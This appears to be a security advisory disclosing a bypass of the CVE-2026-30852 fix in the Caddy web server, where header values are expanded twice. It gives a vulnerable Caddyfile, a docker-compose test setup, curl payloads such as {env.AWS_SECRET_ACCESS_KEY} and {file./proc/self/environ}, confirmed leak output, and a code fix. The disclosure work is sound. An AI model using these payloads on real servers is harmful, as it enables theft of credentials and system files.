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Caddy CVE-2026-30852 Fix Bypass — github.com/caddyserver/caddy/v2

Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

TL;DR

CVE-2026-30852 fixed double expansion in vars_regexp when the variable key is a placeholder (e.g. {http.vars.x}). The fix does NOT protect literal key names (e.g. tenant_id). An attacker injects {env.AWS_SECRET_ACCESS_KEY} or {file./etc/passwd} via a request header → Caddy expands it on the second pass → secrets leaked in response headers.

Affected: Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.

Root Cause

modules/caddyhttp/vars.go, lines 215-217:

valExpanded = varStr if !fromPlaceholder { valExpanded = repl.ReplaceAll(varStr, "") // ← SECOND EXPANSION }

Same issue at line 358-360 in MatchVarsRE.

fromPlaceholder is false when the variable key is a literal string (not wrapped in {}). The fix only protects fromPlaceholder=true.

Expansion chain:

  1. Config: vars tenant_id {http.request.header.X-Tenant-ID}
  2. Request header: X-Tenant-ID: {env.SECRET}
  3. Pass 1 (VarsMiddleware.ServeHTTP, line 63): repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "") → resolves to literal string {env.SECRET}. Stored in vars map.
  4. Pass 2 (VarsMatcher.MatchWithError, line 217): repl.ReplaceAll("{env.SECRET}", "") → resolves to the actual secret value.
  5. Leaked value reflected in response header X-Tenant-ID or forwarded to backend via reverse_proxy.

Impact

  • Environment variable disclosure: {env.AWS_SECRET_ACCESS_KEY}, {env.DATABASE_URL}, etc.
  • Arbitrary file read (up to 1MB): {file./etc/passwd}, {file./proc/self/environ}
  • System info: {system.hostname}, {system.os}
  • Full env dump in one request: {file./proc/self/environ}

Realistic Attack Scenario

API gateway pattern - Caddy captures a tenant ID header, validates it with vars_regexp, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.

# Caddyfile :8080 { vars tenant_id {http.request.header.X-Tenant-ID} @has_tenant vars_regexp tenant tenant_id (.+) handle @has_tenant { header X-Tenant-ID "{re.tenant.1}" reverse_proxy tenant-backend:8080 } respond "Missing X-Tenant-ID header" 400 } # docker-compose.yml services: caddy: image: caddy:2.11.2 ports: - "8080:8080" volumes: - ./Caddyfile:/etc/caddy/Caddyfile:ro environment: - SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345 - DATABASE_URL=postgresql://admin:[email protected]:5432/production - AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY - INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY

Attacker sends: X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY} Response contains: X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Reproduce

docker compose up -d sleep 2 # Normal request — works as expected curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant # X-Tenant-Id: acme-corp # Leak env var via response header curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant # X-Tenant-Id: sk-SUPER-SECRET-KEY-12345 # Leak AWS credentials curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep X-Tenant # X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY # Read arbitrary file curl -sI -H "X-Tenant-ID: {file./etc/passwd}" http://localhost:8080/ | grep X-Tenant # Dump ALL env vars (Linux) curl -s -H "X-Tenant-ID: {file./proc/self/environ}" http://localhost:8080/

Confirmed Test Output (Caddy v2.11.2)

$ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: acme-corp X-Routed-To: tenant-acme-corp $ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: sk-SUPER-SECRET-KEY-12345 X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345 $ curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY X-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY $ curl -sI -H "X-Tenant-ID: {file./etc/hostname}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: 06140d4a8645

Fix

Apply expansion guard to BOTH branches:

// vars.go line 215-217 — fix: valExpanded = varStr // REMOVE: if !fromPlaceholder { // valExpanded = repl.ReplaceAll(varStr, "") // }

Or sanitize vars stored from user input before re-expansion.

  • Published: May 19, 2026
  • Updated: Jun 5, 2026
  • GHSA: GHSA-wwhq-w58m-w29c
  • Severity: Medium
  • Exploit:
  • CISA KEV:

No technical information available.

CWEs:

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